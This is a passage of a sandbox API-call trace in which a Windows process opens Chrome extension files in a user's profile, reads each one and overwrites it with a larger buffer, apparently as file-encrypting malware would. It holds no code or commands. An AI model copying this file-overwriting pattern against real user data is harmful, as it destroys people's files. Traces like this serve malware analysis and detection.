lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0062.818] ReadFile (in: hFile=0x1b0, lpBuffer=0x27c3518, nNumberOfBytesToRead=0x149, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27c3518*, lpNumberOfBytesRead=0x340f2bc*=0x149, lpOverlapped=0x0) returned 1 [0062.819] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0062.819] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6d1, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x6d1, lpOverlapped=0x0) returned 1 [0062.819] CloseHandle (hObject=0x1b0) returned 1 [0062.820] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.820] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.820] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x116 [0062.820] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.820] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.820] ReleaseMutex (hMutex=0x128) returned 1 [0062.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0062.821] ReadFile (in: hFile=0x1b0, lpBuffer=0x27f8a48, nNumberOfBytesToRead=0x116, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27f8a48*, lpNumberOfBytesRead=0x340f2bc*=0x116, lpOverlapped=0x0) returned 1 [0062.822] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0062.822] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x69e, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x69e, lpOverlapped=0x0) returned 1 [0062.822] CloseHandle (hObject=0x1b0) returned 1 [0062.822] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.823] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.823] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xfe [0062.823] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.823] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.823] ReleaseMutex (hMutex=0x128) returned 1 [0062.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0062.823] ReadFile (in: hFile=0x1b0, lpBuffer=0x1ddfd78, nNumberOfBytesToRead=0xfe, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddfd78*, lpNumberOfBytesRead=0x340f2bc*=0xfe, lpOverlapped=0x0) returned 1 [0062.824] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0062.824] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x686, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x686, lpOverlapped=0x0) returned 1 [0062.824] CloseHandle (hObject=0x1b0) returned 1 [0062.824] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.825] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.825] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x11f [0062.825] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.825] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.825] ReleaseMutex (hMutex=0x128) returned 1 [0062.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0062.825] ReadFile (in: hFile=0x1b0, lpBuffer=0x27f8a48, nNumberOfBytesToRead=0x11f, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27f8a48*, lpNumberOfBytesRead=0x340f2bc*=0x11f, lpOverlapped=0x0) returned 1 [0062.826] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0062.826] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6a7, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x6a7, lpOverlapped=0x0) returned 1 [0062.826] CloseHandle (hObject=0x1b0) returned 1 [0062.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.827] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.827] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2d8 [0062.827] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.827] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.827] ReleaseMutex (hMutex=0x128) returned 1 [0062.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="manifest.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="manifest.json", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="manifest.json", lpUsedDefaultChar=0x0) returned 13 [0062.827] ReadFile (in: hFile=0x1b0, lpBuffer=0x275b028, nNumberOfBytesToRead=0x2d8, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x340f2bc*=0x2d8, lpOverlapped=0x0) returned 1 [0062.829] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0062.829] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x340f2d0*=0x860, lpOverlapped=0x0) returned 1 [0062.829] CloseHandle (hObject=0x1b0) returned 1 [0062.829] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.830] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.830] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xb3 [0062.830] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.830] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.830] ReleaseMutex (hMutex=0x128) returned 1 [0062.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0062.830] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e385c8, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e385c8*, lpNumberOfBytesRead=0x340f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0062.831] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0062.831] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0062.831] CloseHandle (hObject=0x1b0) returned 1 [0062.831] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.832] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.832] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xb3 [0062.832] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.832] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.832] ReleaseMutex (hMutex=0x128) returned 1 [0062.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0062.832] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e385c8, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e385c8*, lpNumberOfBytesRead=0x340f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0062.833] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0062.833] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0062.833] CloseHandle (hObject=0x1b0) returned 1 [0062.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.834] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.834] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xb3 [0062.834] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.834] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.834] ReleaseMutex (hMutex=0x128) returned 1 [0062.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0062.834] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e385c8, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e385c8*, lpNumberOfBytesRead=0x340f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0062.835] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0062.835] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0062.835] CloseHandle (hObject=0x1b0) returned 1 [0062.835] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.836] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.836] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2769 [0062.836] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.836] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.836] ReleaseMutex (hMutex=0x128) returned 1 [0062.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0062.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x1e78974, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="verified_contents.json", lpUsedDefaultChar=0x0) returned 22 [0062.836] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0062.837] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1769 [0062.838] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0062.838] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1769 [0062.838] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0062.839] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0062.839] WriteFile (in: hFile=0x1b0, lpBuffer=0x27ff688*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27ff688*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0062.839] CloseHandle (hObject=0x1b0) returned 1 [0062.839] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.840] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.840] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xcf [0062.840] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.840] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0062.840] ReleaseMutex (hMutex=0x128) returned 1 [0062.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0062.840] ReadFile (in: hFile=0x1b0, lpBuffer=0x2564448, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2564448*, lpNumberOfBytesRead=0x340f2bc*=0xcf, lpOverlapped=0x0) returned 1 [0062.841] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0062.841] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x657, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x657, lpOverlapped=0x0) returned 1 [0062.841] CloseHandle (hObject=0x1b0) returned 1 [0062.841] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0062.842] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0062.842] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xe2 